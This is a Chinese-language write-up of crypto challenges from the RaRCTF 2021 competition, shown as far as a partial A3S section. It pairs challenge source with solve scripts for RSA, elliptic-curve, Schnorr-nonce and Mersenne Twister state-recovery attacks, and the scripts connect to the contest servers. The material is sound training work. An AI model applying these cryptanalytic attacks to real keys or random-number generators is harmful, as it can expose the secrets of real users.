RaRCTF 2021 WriteUps

這次和 NCtfU 的幾個人一起參加了 RaRCTF 2021 拿到了第三名,我拿下的 flag 主要都是 web & crypto 的題目,還有一題 rev。不過其他類別的簡單題目我有解的也會寫一些。

  排行榜截圖

crypto

minigen

此題的 source code:

1
2
exec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100)
g=f(id(f));print(*map(lambda c:ord(c)^next(g),list(open('f').read())))

可以看出它是用 id(f) 作為 seed 的一個亂數生成器,裡面用一些 bit 運算和 xor 去生成,然後輸出 key stream 和 flag 的 xor 結果。

關鍵在於 python 的 ~x-1-x,所以 -~x~-x 分別是 x+1x-1,然後用 mod 的性質可知 f(x) == f(x + 727),因此直接暴力搜 x 的值然後輸出看看是不是 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
exec("def f(x):" + "yield((x:=-~x)*x+-~-x)%727;" * 100)

# fmt: off
ar = [281, 547, 54, 380, 392, 98, 158, 440, 724, 218, 406, 672, 193, 457, 694, 208, 455, 745, 196, 450, 724]
# fmt: on

for i in range(727):
g = f(i)
s = "".join(map(lambda c: chr(c ^ next(g)), ar))
if "rarctf" in s:
print(s)

sRSA

用了看起來像是 RSA 的方法把 flag 加密了,不過它加密的地方是用 而不是 ,所以簡單的模反運算就能求出 flag 了。

1
2
3
4
5
6
7
8
from Crypto.Util.number import *

n = 5496273377454199065242669248583423666922734652724977923256519661692097814683426757178129328854814879115976202924927868808744465886633837487140240744798219
e = 431136
ct = 3258949841055516264978851602001574678758659990591377418619956168981354029697501692633419406607677808798749678532871833190946495336912907920485168329153735

flag = (inverse(e, n) * ct) % n
print(long_to_bytes(flag))

unrandompad

題目每次連線時會生成一個 RSA 的 ,而 。server 可以做兩件事:

  1. 輸出加密過的 flag
  2. 輸入 message 進去輸出密文

雖然它加密的地方有個看起來像是有 padding,但仔細一看會發現根本沒有:

1
2
3
4
5
6
def encrypt(m, e, n): # standard rsa
res = pad(m, n)
if res != -1:
print(f"c: {pow(m, e, n)}")
else:
print("error :(", "message too long")

所以就連線三次拿到用三個不同的 加密過的 flag,然後用 Hastad Broadcast Attack 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *

e = 3
n1 = 16970885632571038154066623391234201125155702089121576538840593499372396369100528376694497439151429542465496206899547547510916886479286308090719287906691384016524372039756391840094100378457830378154903624219290887431142516955715725281031263533987296823713371920826667814676653028388815205120333567245303691587198998830095030660902687598314704565233639236204907708496394598018342673600918918591978338996826637260857713474539043892369700376389443069501528290734637781677139994867353472179740834168878126167060959417457770115225740945780246668270525995678016544634364994306165749003403906921828918355938461674014970626351
c1 = 74121005500491571244189962266093170881441737665147084155231422315541816151721278091812443368963839819993484754732138289666495365042507468631832982412631929285676912010986845939691080486797942798540801591515103728970588639712370622459194392496292882258873188659641335626101822369446189717939256310505569467310117093501195633994277790308707685647171633782958484406685290585057799594898831711830854687538081316239819139776957770837020002846650373628376042013860001257937897293253626480609042675643410450066894476315826529816780533710629437175089148546770607288042121926748526764741883964395415441691431615911843505457
n2 = 12563818116700089143171081835527779862004077313247476625043219234048586783906451726232993782690155770295449979448242011976008690907501979980955831862827767765240311362303203240065192407966001872247921503110779090833390162306782781836846831842313227340723516206163649426503434786388989465189674850244585796825740012112634075106106853268911456173669634158290489305346512086561754796179950126822926770104583093094911050893446864099988324099759289942441194917383465723153725472663078961512564861798905960387287900131119572921259148933525183525029788696040304701939085223201442693629515707908301967882888093220649564144217
c2 = 8444975393993411470870741609248326767991815941831882735141257937279216612691515476733144492443265118619423157841862790382516101577642463397808607827907768448927305791945679340286563428448567037192028971561970557961689221429764290937649008374609849192827587336488909480168942128445392983602174509579246623943870573440159125097240914873690438654059735679886627869793541990557081255663240901492112673641412782977721054509646358431012482186203465632133478366860725443559025212878876211407940429747966589924409606136557309556363266839399199538757877439261809129349810331050642182936658530913324055684974888277640856016879
n3 = 11880318885878953680008578951549680898650928268426297448388375421037601745848647498389366862838598835327966786502089059869773540529113012801830059008199290500295041739761756537734392115209439146743663130815999501816379497204888046503895240293306464643844352151395501298993560611490277376582145609459924445368601478326363081379951190435664222954832325478306861592911069962008869920321020638361278810256511310302650395971281082265274597837884102018993938462698277862844165220894901062234339077328934397645547809999188882260915601376613199883036974972022352810153534114318324236462589748233081087878593995926429941025373
c3 = 1921812489246817701492533802260965671724907292422594067839592774675313962181858692284667040828764455141620238996009971999638090849897689623039333588054043002795178949130794159211855017987894784523526269284492381126464039816754054581341035314659514572978432981856826808012322587529244638897925070270241120712231622322531676819581562827782663947969243926243833817578005426191483344048779307155993178874558798822333615097484926769306568757801505457973361255303900593523078806411688130194516317244133251365514509406994108494729685280066300579191889365741626485854036825940860809190299426254267055297864016760888000739376


def hastad_broadcast(ns, cs):
assert len(ns) == len(cs)
x = crt(cs, ns)
try:
return x.nth_root(len(ns))
except:
pass


print(long_to_bytes(hastad_broadcast([n1, n2, n3], [c1, c2, c3])))

Shamir's Stingy Sharing

題目有個隨機生成的多項式 ,其中 ,它拿 當作 random seed 之後生成隨機數和 flag xor 加密。之後允許你輸入一個 ,它會計算 的結果給你。

它限制 是因為 ,避免你使用這個相當顯然方法去取得

解法是注意到它這個多項式其實就像是 x 進位的數字一樣,所以選個 輸入進去,然後把回傳的數字以 x 進位表示就能得到多項式的所有係數了。如果只要 的話就取 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import random

m = 2 ** 128
# k = poly(m)
k = 810916495944689153065650766674733722468567056295606418678875687865804592505164193676332954839966512410183116799469963505936830887073806429449899839158437927046535192749352898856385350533884645894370308081274311812626469651470193774605401939192242970869348563062851529130505503249389171213427012824392105372954401293046453015479860725353228076966754406344438833462245983324456569270125201287733127134945783179157308491792991629649483898995625879506039597592845544245477153470519780981128613608691404896751283321275207447589867233227658156131726802867264674578362936621680865343310397376399754187186933579482242707208271494305085721454818703708677308306732333815908314217270897464983373034793568099587924311230978249627949682975646531849742193278566812285716251119361850455987377270814634648055428832540381702534518498669611228343620705823123100152179546248902199629883353690335617951090393790507792642793354122572243317050491920800125247523158607753801698583460043166870741557545630989147415651788655442359097144994912160026899264091477923766654076941056939289704289182502940886345286785707107360383872767972269772271605115243540907703892530601675247946954
ef = bytes.fromhex("dc4bb6ea075c7a31c0fae5d75eab2b195e55677eebe17d6e82c8c05059cd06")


def xor(x, y):
return bytes(a ^ b for a, b in zip(x, y))


random.seed(k % m)
print(xor(ef, long_to_bytes(random.getrandbits(len(ef) * 8))))

babycrypt

此題是正常的 RSA 加密,其中的 。它另外有給一個 hint 的值

觀察 hint 的值可以發現:

不過由於 ,所以從 。但是因為 其實是 balanced 的,都差不多是 左右,所以可以合理猜測 ,然後得到

現在有了 ,回顧一下高中數學可以想到下面這個多項式有兩根 ,把它解出來就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *

e, n = (
65537,
6210693056412045637179224428919815807158265614608341710263430334710037562322509904161915165376921716354954625000448127610978654927066583836381751140468619,
)
c = 5663652339377255142590939566987950968999780743579001938933946766837828274115738643463551211136141861843398927369696581021679151388477233896478453786262487
h = 35401087213337807987229693950510775432944123318864854375881363416778434247319

P = PolynomialRing(ZZ, "x")
x = P.gen()
f = x ** 2 + (h - 1) * x - n
rs = f.roots()
p = rs[0][0]
assert n % p == 0
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

rotoRSA

source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from sympy import poly, symbols
from collections import deque
import Crypto.Random.random as random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def build_poly(coeffs):
x = symbols('x')
return poly(sum(coeff * x ** i for i, coeff in enumerate(coeffs)))

def encrypt_msg(msg, poly, e, N):
return long_to_bytes(pow(poly(msg), e, N)).hex()

p = getPrime(256)
q = getPrime(256)
N = p * q
e = 11

flag = bytes_to_long(open("/challenge/flag.txt", "rb").read())

coeffs = deque([random.randint(0, 128) for _ in range(16)])


welcome_message = f"""
Welcome to RotorSA!
With our state of the art encryption system, you have two options:
1. Encrypt a message
2. Get the encrypted flag
The current public key is
n = {N}
e = {e}
"""

print(welcome_message)

while True:
padding = build_poly(coeffs)
choice = int(input('What is your choice? '))
if choice == 1:
message = int(input('What is your message? '), 16)
encrypted = encrypt_msg(message, padding, e, N)
print(f'The encrypted message is {encrypted}')
elif choice == 2:
encrypted_flag = encrypt_msg(flag, padding, e, N)
print(f'The encrypted flag is {encrypted_flag}')
coeffs.rotate(1)

此題連線之後會隨機生成一組 RSA 的 ,而 。另外它有個隨機生成的係數 ,其中

接下來進一個 loop,每次都會先生成多項式 ,之後可以選擇加密自己選的 message 還是 flag,加密的方法是用 計算的。加密完之後它會把多項式的係數給 rorate 一次。

首先是可注意到 ,所以 ,再來因為 還小,所以開 11 次根號即可取得 。因此利用這個性質先加密 16 次 就可以取得多項式的所有係數。

要注意一下取得的係數的順序會是:

現在已經取得了多項式的係數,設 flag 為 ,連續加密兩次之後會得到 兩個多項式有共同的根 ,所以兩個多項式取 gcd 就會找到一項 ,然後就拿到 flag 了。

指的是 rotate 過的多項式

從 server 取得多項式係數與加密過的 flag 的腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import remote
from gmpy2 import iroot

io = remote("193.57.159.27", 37920)

io.recvuntil(b"n = ")
n = int(io.recvlineS().strip())
e = 11
print(f"{n = }")
print(f"{e = }")


def get_enc(m):
io.sendlineafter(b"What is your choice?", b"1")
io.sendlineafter(b"What is your message?", hex(m).encode())
io.recvuntil(b"The encrypted message is ")
return int(io.recvlineS().strip(), 16)


def get_c():
io.sendlineafter(b"What is your choice?", b"2")
io.recvuntil(b"The encrypted flag is ")
return int(io.recvlineS().strip(), 16)


coefs = []
for i in range(16):
coefs.append(int(iroot(get_enc(0), 11)[0]))
coefs = [coefs[0]] + coefs[1:][::-1] # fix rorate
print(f"{coefs = }")


cs = []
for i in range(16):
cs.append(get_c())
print(f"{cs = }")

根據取得的係數去解的腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from collections import deque

# fmt: off
n = 10840980761643954496262504029624756073300412915849775522546269064496556018605157224230727832723654980446872782003945065989880612706940680962280176286395937
e = 11
coefs = [60, 105, 14, 39, 76, 64, 33, 20, 61, 89, 125, 6, 104, 90, 104, 43]
cs = [8691972597554011342505934263356742577403346444102457294943956556280555744149265980027869255464710169075662463125585125093176887313442526432991234394330762, 6835102289780017716656203536738992533500951149477559411273146405333842179937133002197679574104450545386128276197477116727094061256864806691298103906626123, 4196046192437430258793529660554224042688656584860277131295376524340672113605243234446210129774260808981676437480491874256083270592784047256602866092236388, 5253789997179017562280922268650008883523584955679547878576633021745417996771663496572721181911343432177051639199184866929404610766301323917648375057438586, 3812996511251794125508352549076542383709102036105441529457367064888362616295215272306529781070434104450761808764072253779306919866184005117433092362414373, 3089597905952179225567902837072967849508488705011563472091993621611960068856955883815773033622636946779564588609238932556079474437598646297362972146105812, 4153512796251170297672112374102440123862531460530309297142425094238908084079313779709603416181507477945446096584092805457093570991263719175304873825413527, 7278936317940986212100113321705184908963873342498695001649181074327960812318588312076476472838638172025087951258890495454649298037907680572378047381344896, 2139262021151505342830291713917130675742658041639085363927046166487775986543920857886002088559188812895577253543770043135302785662330261748101545835230270, 2964021835256747189222083763823803835836764003193753281620781207659007686150882924420579794891549549973398132830704197901678070501904779128679000859757343, 6120244859843475901630561351159510781099360695445189972271945981786925250181715178112008401486599351084507711425731890245059317294746250753911663535915110, 10737413294472457311774746536275472593768072276638335109355973965633712218935763834043478646310143544945572220529034344543400818603941562518951809614897921, 559950981954367707218173826725634350413952532504811308116817099542999576785810084929532120891041561969050631096848545233693168154030005934633428951568056, 7524021588949332451067441431944701933408856191757106972129074179312856600157685767365123461259409312258199519109804478925393685309031349708222023771268255, 10549936526846852574552160052996693496987477040705128648289047665436247368310002548866302858315736463152186749040266531326934630320496300173366839593375704, 9853045482188179825032374696533089230946833579828560143016749445902228987594493881876269136022549202216505835336876160137452724689985234987720224366134787]
# fmt: on

P = PolynomialRing(Zmod(n), "x", 1)
x = P.gen()
fs = []

coefss = deque(coefs)
for i in range(16):
poly = sum(c * x ** i for i, c in enumerate(coefss))
fs.append(poly ^ e - cs[i])
coefss.rotate(1)

f = fs[0].gcd(fs[1])
m = -f[0]
print(long_to_bytes(m))

PsychECC

這題要提供一個曲線上的點 ,然後它會隨機產生 計算 ,然後要你猜 是多少,猜對就給 flag。這題使用了 P256 curve,是一條 prime order 的曲線,所以看起來沒辦法用 small subgroup 去攻擊。

關鍵在於它的橢圓曲縣是自己在純 python 簡單實作的,仔細看一下會發現它根本沒檢查你傳送過去的點有沒有在曲線上面。結合 Weierstrass form 的橢圓曲線 doubling formula 根本沒有使用到 的這個事實,可以讓我們選任意一條 形式的曲線。

例如我取的是 ,可以發現這條曲線的 order 的 factors 中有 2 也有 3,可以做為目標。這邊要注意一下它 server 端的程式碼會檢查說你猜的點既不能是 ,也不能是無窮遠點 (INF)。所以選 subgroup size = 2 是行不通的,所以改用 3。

所以取新的曲線上的任意一點,然後乘 之後如果不是 INF,就把它設為 。然後要猜的點固定猜 ,這樣成功的機率就有 了。這是因為 的機率分別是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
a = -3
b = 41058363725152142129326129780047268409114441015993725554835256314039467401291

E = EllipticCurve(Zmod(p), [a, b + 1])
od = E.order()
while True:
P = E.random_point() * (od // 3)
if P != E(0, 1, 0):
break
print(P)
print(P * 2)
print(P * 3)

# Submit this manually, success rate = 1/3
print(P.xy()[0])
print(P.xy()[1])
print((P * 2).xy()[0])
print((P * 2).xy()[1])

snore

source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import sha224
from random import randrange
import os

p = 148982911401264734500617017580518449923542719532318121475997727602675813514863
g = 2
assert isPrime(p//2) # safe prime

x = randrange(p)
y = pow(g, x, p)

def verify(s, e, msg):
r_v = (pow(g, s, p) * pow(y, e, p)) % p
return bytes_to_long(sha224(long_to_bytes(r_v) + msg).digest()) == e

def sign(msg, k):
r = pow(g, k, p)
e = bytes_to_long(sha224(long_to_bytes(r) + msg).digest()) % p
s = (k - (x * e)) % (p - 1)
return (s, e)

def xor(ba1,ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

otp = os.urandom(32)

messages = [
b"Never gonna give you up",
b"Never gonna let you down",
b"Never gonna run around and desert you",
b"Never gonna make you cry",
b"Never gonna say goodbye",
b"Never gonna tell a lie and hurt you"
]

print("p = ", p)
print("g = ", g)
print("y = ", y)

for message in messages:
k = bytes_to_long(xor(pad(message, 32)[::-1], otp)) # OTP secure
s, e = sign(message, k % p)
assert (verify(s, e, message))
print(message, sign(message, k % p))

flag = open("flag.txt","rb").read()
key = sha224(long_to_bytes(x)).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(flag, 16)).hex()
print("ct = ", ct)
print("iv = ", iv.hex())

它先有個固定的參數 ,然後生成 private key & public key 。之後用 Schnorr signature 去 sign 那些固定的訊息並輸出,而 flag 是用 private derive 出來的 key 去 AES 加密的。

sign 的時候的 是拿 pad 過的 message,和它一開始隨機生成的一個 otp 值去 xor 得到的,但是 xor 在 finite field 裡面也不知道要怎麼處裡。

我一開始有找到 Ethereum Bug Bounty Submission: Predictable ECDSA Nonce,裡面的 nonce 是拿訊息和 private key xor 之後得到的,可以用一些方法把它變成聯立方程式,在有 256 個 signature 的情況下可以恢復 private key。而這題是可以拿兩兩的 signature 把未知的 private key 給消除,之後理論上可以在 257 個 signature 的情況下恢復 otp 的值,但是這題沒辦法這樣做。

後來才發現到此題的關鍵是它的 messages 的一些結構,因為 len(message[0]) == len(message[4]),和 len(message[1]) == len(message[3]),所以 padding 的部份是兩兩相同的。再來是他們的訊息都是 Never gonna 開頭的,所以 pad 過的 messages 拿 兩組 xor 之後會發現只有不到 100 bits 的差別。然後因為 ,所以代表 的差別也只有不到 100 bits 而已,也是如此。

雖然它們的差是 xor 的關係,但可以用直接用加法表示兩者的差,即 (假設 ),另外 (假設 ),然後這樣可以列出四個式子:

這樣可以把第一和第四式消掉 ,而第二和第三式消掉 ,然後把得到的兩個式子結合之後再把 消掉就會得到只有 的多項式了,其中的根都小於 。所以這個時候用 coppersmith 就能找到它的對應的根了。

最後還有發現 的假設是錯的,不過它還是有正確的找到需要的值,不過就算沒有的話也只是改一下正負符號的問題而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from hashlib import sha224
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
# Copied from https://jsur.in/posts/2021-07-19-google-ctf-2021-crypto-writeups#h1
return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 148982911401264734500617017580518449923542719532318121475997727602675813514863
g = 2
y = 99943368625476277151400768907519717344447758596311103260066302523387843692499
sigs = [
(
82164720827627951718117576622367372918842412631288684063666489980382312886875,
20555462814568596793812771425415543791560033744700837082533238767135,
),
(
121728190859093179709167853051428045020048650314914045286511335302789797110644,
18832686601255134631820635660734300367214611070497673143677605724980,
),
(
146082371876690961814167471199278995325899717136850705507399907858041424152875,
17280327447912166881602972638784747375738574870164428834607749483679,
),
(
70503066417308377066271947367911829721247208157460892633371511382189117698027,
18679076989831101699209257375687089051054511859966345809079812661627,
),
(
129356717302185231616252962266443899346987025366769583013987552032290057284641,
2084781842220461075274126508657531826108703724816608320266110772897,
),
(
12183293984655719933097345580162258768878646698567137931824149359927592074910,
15768525934046641405375930988120401106067516205761039338919748323087,
),
]
ct = bytes.fromhex(
"e426c232b20fc298fb4499a2fff2e248615a379c5bc1a7447531f8a66b13fb57e2cf334247a0589be816fc52d80c064b61fa60261e925beb34684655278955e0206709f95173ad292f5c60526363766061e37dd810ee69d1266cbe5124ae18978214e8b39089b31cad5fd91b9a99e344830b76d456bbf92b5585eebeaf85c990"
)
iv = bytes.fromhex("563391612e7c7d3e6bd03e1eaf76a0ba")


messages = [
b"Never gonna give you up",
b"Never gonna let you down",
b"Never gonna run around and desert you",
b"Never gonna make you cry",
b"Never gonna say goodbye",
b"Never gonna tell a lie and hurt you",
]

P = PolynomialRing(Zmod(p - 1), "x,k0,k1,k2,k3,k4,k5")
x, *ks = P.gens()
fs = []
ms = []
for i in range(6):
s, e = sigs[i]
fs.append(s - (ks[i] - x * e))
ms.append(bytes_to_long(pad(messages[i], 32)[::-1][:32]))

Z = Zmod(p - 1)

s0, e0 = sigs[0]
s1, e1 = sigs[1]
s3, e3 = sigs[3]
s4, e4 = sigs[4]
P = PolynomialRing(Z, "k0,k1,k,d,x")
k0, k1, k, d, x = P.gens()
f0 = s0 - (k0 - x * e0)
f1 = s1 - (k1 - x * e1)
f3 = s3 - (k1 + 2 ** 96 * k - x * e3)
f4 = s4 - (k0 + 2 ** 96 * d - x * e4)

ff = resultant(f0, f4, k0)
gg = resultant(f1, f3, k1)
hh = resultant(ff, gg, x)

PP = PolynomialRing(Zmod(p // 2), "d,k") # Zmod(p - 1) doesn't work for unknown reason
d, k = PP.gens()
hh = eval(str(hh))
load("~/workspace/coppersmith.sage") # https://github.com/defund/coppersmith
dd, kk = small_roots(hh, (2 ** 100, 2 ** 100), m=7, d=2)[0]
print(dd, kk)
xx = Integer(ff.subs(d=dd).univariate_polynomial().roots()[0][0])
# There are two possible x because pow(g, p // 2, p) == 1
assert power_mod(g, xx, p) == y
assert power_mod(g, xx + p // 2, p) == y

key = sha224(long_to_bytes(xx + p // 2)).digest()[:16]
aes = AES.new(key, AES.MODE_CBC, iv)
print(unpad(aes.decrypt(ct), 16))

randompad

這題是 unrandompad 的修正/加強版,source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from random import getrandbits
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long

def keygen(): # normal rsa key generation
primes = []
e = 3
for _ in range(2):
while True:
p = getPrime(1024)
if (p - 1) % 3:
break
primes.append(p)
return e, primes[0] * primes[1]

def pad(m, n): # pkcs#1 v1.5
ms = long_to_bytes(m)
ns = long_to_bytes(n)
if len(ms) >= len(ns) - 11:
return -1
padlength = len(ns) - len(ms) - 3
ps = long_to_bytes(getrandbits(padlength * 8)).rjust(padlength, b"\x00")
return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big")

def encrypt(m, e, n): # standard rsa
res = pad(m, n)
if res != -1:
print(f"c: {pow(res, e, n)}")
else:
print("error :(", "message too long")

menu = """
[1] enc()
[2] enc(flag)
[3] quit
"""[1:]

e, n = keygen()
print(f"e: {e}")
print(f"n: {n}")
assert len(open("/challenge/flag.txt", "rb").read()) < 55

while True:
try:
print(menu)
opt = input("opt: ")
if opt == "1":
encrypt(int(input("msg: ")), e, n)
elif opt == "2":
encrypt(bytes_to_long(open("/challenge/flag.txt", "rb").read()), e, n)
elif opt == "3":
print("bye")
exit(0)
else:
print("idk")
except Exception as e:
print("error :(", e)

這題和 unrandompad 不同的地方就在於 encrypt 函數中加密的訊息是按照 pkcs#1 v1.5 去 pad 過的,padding 的部分都是隨機的。

題目的關鍵在於 from random import getrandbits,它使用的是 python 內建的 PRNG Mersenne Twister,代表如果有辦法取得 getrandbits 出來的值的話就有辦法預測隨機數了。

這邊可以先決定一個固定的 ,控制它的大小可以讓 padlength * 8 是 32 的倍數,這樣比較方便處裡。然後這樣因為有已知的 所以可以用 coppersmith 算出 getrandbits(padlength * 8),然後反覆蒐集直到超過 624 個 states 就可以還原出完整的狀態,然後預測未來的隨機數。

要做這件事需要看一下 python 內部的實現,在這個地方可以看到 getrandbits 內部的實現原理,可以知道它是透過反覆生成 32 bits 的數,然後從 LSB 開始填到 MSB,多餘的 bits 就 drop 掉,這也是前面之所以要控制長度為 32 的倍數的原因。

雖然說是 32 的倍數,但也不要設太大,不然 coppersmith 可能找不到那個 small root...,例如我用的是 256

因此就按照這個方法反覆蒐集 states,然後拿別人現成的 mersenne-twister-recover 來改,之後就可以預測出未來的 padding 的隨機值。

有了 padding 的隨機值之後還需要爆破一下 flag 的長度,用 coppersmith 去嘗試找到 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from sage.all import *
from random import Random
from Crypto.Util.number import long_to_bytes
from pwn import process, remote


# io = process(["python", "randompad.py"])
io = remote("193.57.159.27", 20873)
io.recvuntil(b"n: ")
e = 3
n = int(io.recvlineS().strip())


def encrypt(m, e, n):
io.sendlineafter(b"opt: ", b"1")
io.sendlineafter(b"msg: ", str(m).encode())
io.recvuntil(b"c: ")
return int(io.recvlineS().strip())


def encrypt_flag():
io.sendlineafter(b"opt: ", b"2")
io.recvuntil(b"c: ")
return int(io.recvlineS().strip())


m = n // (2 ** (8 * 35))
assert len(long_to_bytes(n)) - len(long_to_bytes(m)) == 35


def getrand256bits():
P = PolynomialRing(Zmod(n), "x")
x = P.gen()
f = (
m
+ x * 2 ** (len(long_to_bytes(m)) * 8 + 8)
+ 2 * 2 ** (len(long_to_bytes(m)) * 8 + 8 + 32 * 8)
) ** e - encrypt(m, e, n)
r = int(f.monic().small_roots()[0])
print("r", r)
return r


def to_chunks(n, b=32):
ar = []
while n > 0:
ar.append(n & ((1 << b) - 1))
n >>= b
return ar


# Modified from https://github.com/eboda/mersenne-twister-recover
class MT19937Recover:
"""Reverses the Mersenne Twister based on 624 observed outputs.
The internal state of a Mersenne Twister can be recovered by observing
624 generated outputs of it. However, if those are not directly
observed following a twist, another output is required to restore the
internal index.
See also https://en.wikipedia.org/wiki/Mersenne_Twister#Pseudocode .
"""

def unshiftRight(self, x, shift):
res = x
for i in range(32):
res = x ^ res >> shift
return res

def unshiftLeft(self, x, shift, mask):
res = x
for i in range(32):
res = x ^ (res << shift & mask)
return res

def untemper(self, v):
"""Reverses the tempering which is applied to outputs of MT19937"""

v = self.unshiftRight(v, 18)
v = self.unshiftLeft(v, 15, 0xEFC60000)
v = self.unshiftLeft(v, 7, 0x9D2C5680)
v = self.unshiftRight(v, 11)
return v

def go(self, outputs, forward=True):
"""Reverses the Mersenne Twister based on 624 observed values.
Args:
outputs (List[int]): list of >= 624 observed outputs from the PRNG.
However, >= 625 outputs are required to correctly recover
the internal index.
forward (bool): Forward internal state until all observed outputs
are generated.
Returns:
Returns a random.Random() object.
"""

result_state = None

assert len(outputs) >= 624 # need at least 624 values

ivals = []
for i in range(624):
ivals.append(self.untemper(outputs[i]))

if len(outputs) >= 625:
# We have additional outputs and can correctly
# recover the internal index by bruteforce
challenge = outputs[624]
for i in range(1, 626):
state = (3, tuple(ivals + [i]), None)
r = Random()
r.setstate(state)

if challenge == r.getrandbits(32):
result_state = state
break
else:
# With only 624 outputs we assume they were the first observed 624
# outputs after a twist --> we set the internal index to 624.
result_state = (3, tuple(ivals + [624]), None)

rand = Random()
rand.setstate(result_state)

if forward:
for i in range(624, len(outputs)):
assert rand.getrandbits(32) == outputs[i]

return rand


mt = MT19937Recover()
r = mt.go(sum([to_chunks(getrand256bits()) for _ in range(78)], []))


def copy_rnd(r):
rr = Random()
rr.setstate(r.getstate())
return rr


cflag = encrypt_flag()
for i in range(15, 55):
padlength = len(long_to_bytes(n)) - i - 3
pd = copy_rnd(r).getrandbits(padlength * 8)
P = PolynomialRing(Zmod(n), "x")
x = P.gen()
f = (x + pd * 2 ** (i * 8 + 8) + 2 * 2 ** (i * 8 + 8 + padlength * 8)) ** e - cflag
rs = f.monic().small_roots()
print(i, len(rs))
if len(rs) == 0:
continue
flag = int(rs[0])
print("flag", long_to_bytes(flag))
break

# rarctf{but-th3y_t0ld_m3_th1s_p4dd1ng_w45-s3cur3!!}

*A3S

這題我比賽中沒解出來,後來參考別人的 writeup 自己練習解的

參考的兩篇 writeup:

這題的題目就是一個 3 進位的 AES,用了這些的名詞:

  • Trit: 0, 1 或是 2
  • Tryte: 三個 Trit
  • Word: 三個 Tryte

一個 Tryte 是一個 的元素,例如 (1, 0, 2) 可以表示為 這樣。而它的一個 AES 的 block 是三個 Word,也就是九個 Tryte,可以想成是一個 3 x 3 的矩陣。

解法就那些 writeup 中所說的一樣,這題的弱點在於 SBOX 是 affine,也就是 的意思。其他的 mix columns 是矩陣乘法,而 shift rows 只是移位,而 add rounds key 是加法,當 SBOX 也是 affine 的時候整個 cipher 就能有很良好的性質能讓我們解出 key。

例如 SBOX 的前兩項 可以表示為 ,這代表的是:

所以可以很容易的知道 ,剩下的項也能驗證看看,會發現都沒問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# define field
x = var("x")
F = GF(3 ** 3, "z", modulus=x ** 3 + x ** 2 + 2)
z = F.gen()

def to_field_el(n):
# convert to an element in GF(3 ^ 3)
if type(n) is int:
assert n < 27
n = int_to_tyt(n)[0]
assert len(n) == 3
return n[0] + z * n[1] + z * z * n[2]


def sbox(n):
# affine transform
return (2 * z * z + 1) * n + 2 * z


# sanity check for sbox
for x, y in enumerate(SBOX):
# print(to_field_el(x), "->", to_field_el(y), "vs", sbox(to_field_el(x)))
assert to_field_el(y) == sbox(to_field_el(x))

然後我們的目標是要解出 key,從 byt_to_int(key) 的長度之後它需要 75 個 Trytes 才行,所以就用 sage 定義 75 個未知數:

1
2
PF = PolynomialRing(F, "k", 75)
sym_keys = PF.gens()

接下來要稍微修改一下 expandsub_wrd 函數讓它可以正常運作在 sym_keys 上面,這部分的程式碼就附在最後的程式裡面了。

接下來是要把 a3s 也改成可以運作在 sage 裡面的形式,為了方便所以中間的狀態都是表示為矩陣的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def a3s(msg, key):
M = bytes_to_mat(msg)
keys = [Matrix(PF, up(k, 3, 0)) for k in expand(key)]
assert len(keys) == KEYLEN

M = apply_key(M, keys[0])

for r in range(1, len(keys) - 1):
M = substitute(M)
M = shift_rows(M)
M = mix_columns(M)
M = apply_key(M, keys[r])

M = substitute(M)
